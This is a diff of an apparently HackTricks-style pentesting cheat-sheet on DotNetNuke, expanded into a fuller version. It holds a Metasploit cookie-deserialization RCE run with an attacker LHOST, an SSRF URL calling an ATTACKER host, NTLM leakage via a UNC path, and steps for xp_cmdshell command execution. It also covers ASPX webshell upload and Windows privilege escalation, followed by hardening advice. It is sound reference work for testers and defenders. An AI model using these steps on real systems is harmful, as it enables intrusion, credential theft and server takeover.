|
4 | 4 |
|
5 | 5 | ## DotNetNuke (DNN)
|
6 | 6 |
|
7 |
| -If you enter as **administrator** in DNN it's easy to obtain RCE. |
| 7 | +If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work. |
8 | 8 |
|
9 |
| -## RCE |
| 9 | +--- |
| 10 | +## Version & Environment Enumeration |
10 | 11 |
|
11 |
| -### Via SQL |
| 12 | +* Check the *X-DNN* HTTP response header – it usually discloses the exact platform version. |
| 13 | +* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs). |
| 14 | +* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users. |
| 15 | +* Typical cookies you will see on a live instance: |
| 16 | + * `.DOTNETNUKE` – ASP.NET forms authentication ticket. |
| 17 | + * `DNNPersonalization` – contains XML/serialized user profile data (old versions – see RCE below). |
12 | 18 |
|
13 |
| -A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**. |
| 19 | +--- |
| 20 | +## Unauthenticated Exploitation |
14 | 21 |
|
15 |
| -Use these lines to enable **`xp_cmdshell`**: |
| 22 | +### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups) |
| 23 | +*Affected versions ≤ 9.3.0-RC* |
| 24 | + |
| 25 | +`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution. |
16 | 26 |
|
17 |
| -```sql |
18 |
| -EXEC sp_configure 'show advanced options', '1' |
19 |
| -RECONFIGURE |
20 |
| -EXEC sp_configure 'xp_cmdshell', '1' |
21 |
| -RECONFIGURE |
22 | 27 | ```
|
| 28 | +msf> use exploit/windows/http/dnn_cookie_deserialization_rce |
| 29 | +msf> set RHOSTS <target> |
| 30 | +msf> set LHOST <attacker_ip> |
| 31 | +msf> run |
| 32 | +``` |
| 33 | +The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x–9.1.x and with a *verified* low-privilege account on 9.2.x+. |
23 | 34 |
|
24 |
| -And press **"Run Script"** to run that sQL sentences. |
| 35 | +### 2. Server-Side Request Forgery (CVE-2025-32372) |
| 36 | +*Affected versions < 9.13.8 – Patch released April 2025* |
25 | 37 |
|
26 |
| -Then, use something like the following to run OS commands: |
| 38 | +A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts: |
27 | 39 |
|
28 |
| -```sql |
29 |
| -xp_cmdshell 'whoami' |
| 40 | +* Internal port scan / metadata service discovery in cloud deployments. |
| 41 | +* Reach hosts otherwise firewalled from the Internet. |
| 42 | + |
| 43 | +Proof-of-concept (replace `TARGET` & `ATTACKER`): |
| 44 | +``` |
| 45 | +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc |
30 | 46 | ```
|
| 47 | +The request is triggered in the background; monitor your listener for callbacks. |
31 | 48 |
|
32 |
| -### Via ASP webshell |
| 49 | +### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488) |
| 50 | +*Affected versions 6.0.0 – 9.x (< 10.0.1)* |
33 | 51 |
|
34 |
| -In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button. |
| 52 | +Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall. |
35 | 53 |
|
36 |
| -Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example. |
| 54 | +### 4. IP Filter Bypass (CVE-2025-52487) |
| 55 | +If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario. |
37 | 56 |
|
38 |
| -Then access to **`/Portals/0/shell.asp`** to access your webshell. |
| 57 | +--- |
| 58 | +## Post-Authentication to RCE |
39 | 59 |
|
40 |
| -### Privilege Escalation |
| 60 | +### Via SQL console |
| 61 | +Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands: |
41 | 62 |
|
42 |
| -You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example. |
| 63 | +```sql |
| 64 | +EXEC sp_configure 'show advanced options', 1; |
| 65 | +RECONFIGURE; |
| 66 | +EXEC sp_configure 'xp_cmdshell', 1; |
| 67 | +RECONFIGURE; |
| 68 | +GO |
| 69 | +xp_cmdshell 'whoami'; |
| 70 | +``` |
43 | 71 |
|
44 |
| -{{#include ../../banners/hacktricks-training.md}} |
| 72 | +### Via ASPX webshell upload |
| 73 | +1. Go to **`Settings → Security → More → More Security Settings`**. |
| 74 | +2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**. |
| 75 | +3. Browse to **`/admin/file-management`** and upload `shell.aspx`. |
| 76 | +4. Trigger it at **`/Portals/0/shell.aspx`**. |
| 77 | + |
| 78 | +--- |
| 79 | +## Privilege Escalation on Windows |
| 80 | +Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage: |
| 81 | + |
| 82 | +* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*. |
| 83 | +* **Juicy/Sharp Potatoes** to escape *Service Accounts*. |
| 84 | + |
| 85 | +--- |
| 86 | +## Hardening Recommendations (Blue Team) |
45 | 87 |
|
| 88 | +* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues). |
| 89 | +* Remove residual **`InstallWizard.aspx*`** files after installation. |
| 90 | +* Disable outbound SMB (ports 445/139) egress. |
| 91 | +* Enforce strong *Host Filters* on the edge proxy rather than within DNN. |
| 92 | +* Block access to `/API/RemoteContentProxy` if unused. |
46 | 93 |
|
47 | 94 |
|
| 95 | + |
| 96 | +## References |
| 97 | + |
| 98 | +* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub). |
| 99 | +* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information. |
| 100 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments